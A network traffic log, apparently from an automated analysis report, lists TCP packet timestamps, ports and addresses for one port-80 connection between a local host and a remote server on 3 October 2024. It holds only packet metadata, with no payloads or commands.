Oct 3, 2024 23:17:10.279457092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279463053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279478073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279494047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279566050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279582977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279597044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279612064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279614925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279624939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279629946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279647112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279673100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279963970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279979944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279994965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280009031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280024052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280036926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280039072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280056000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280066013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280073881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280076981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280092001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280102015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280107975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280121088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280124903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280133009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280150890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280163050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280684948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280700922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280716896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280731916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280733109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280733109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280749083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280750036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280764103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280770063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280781031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280783892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280797958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280807972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280814886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280817032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280826092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280831099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280848026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.280853033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280864954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.280885935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.289875031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.289947033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290162086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290185928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290201902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290210009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290218115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290221930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290235043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290241957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290258884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290262938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290273905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290292978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290406942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290421963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290436983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290447950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290462017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290471077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290479898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290486097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290503979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290508032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290515900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290519953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290535927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290541887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290550947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290556908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290575981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290590048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290831089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290854931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290869951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290870905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290887117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290890932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290899038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290904999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290920973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290925026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290937901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290939093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290956974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.290957928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290966988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.290992975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.307995081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308038950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308094025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308099985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308106899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308136940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308142900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308166027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308182001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308186054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308202028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308203936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308218002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308224916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308231115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308233976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308249950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308254957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308267117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308273077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308279991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308290005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308306932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308310032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308320045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308322906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308339119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308346987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308355093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308372021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308410883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308427095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308443069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.308449030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308468103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.308485031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309154987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309170961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309186935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309225082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309298992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309314966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309329987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309329987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309329987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309348106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309356928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309371948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309385061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309566975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309581995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309602022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309607029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309616089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309617996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309638977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309648991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309729099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309747934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309767008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309768915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309797049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309813023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309938908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309956074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309971094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309987068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.309988022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.309994936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.310002089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.310014963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.310031891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.310044050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362612009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362654924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362670898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362673044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362688065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362699032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362709999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362716913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362735033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362736940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362751961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.362756968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362766027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.362787962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363014936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363032103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363064051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363068104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363085032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363086939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363105059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363105059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363123894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363133907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363336086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363353014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363368988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363379002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363389015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363400936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363403082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363419056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363434076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363442898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363449097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363460064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363476038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363497972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363737106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363761902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363779068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.363791943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.363809109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380345106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380367994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380384922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380399942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380405903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380415916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380428076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380433083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380448103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380456924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380464077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380477905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380494118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380494118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380525112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380527973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380541086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380541086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380558968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380562067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380574942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380584955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380590916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380593061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380606890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380608082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380620956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380624056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380640984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380641937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380656958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380661964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380669117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380675077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380690098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380702972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380705118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380716085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380722046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380737066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380739927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380743980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380758047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380765915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380774975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380788088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380793095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380809069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380812883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380826950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380835056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380844116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380857944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380861998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.380887032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.380903006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381314993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381335020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381350994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381357908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381366968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381386995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381469965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381491899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381508112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381513119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381522894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381525040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381546974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381557941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381655931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381673098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381688118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381695032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381705999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381707907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381721020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381721973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381737947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381742954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381752968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381753922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381768942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.381772995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381784916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.381798983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.382822990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.382869005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383008003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383023024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383038044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383053064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383059978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383075953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383093119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383095980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383102894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383121967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383131027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383263111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383300066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383413076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383429050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383460045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383471012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383583069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383599043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383615017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383629084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383630991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383639097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383650064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383651972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383665085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383665085 CEST	80	49710	193.233.112.44	192.168.2.5
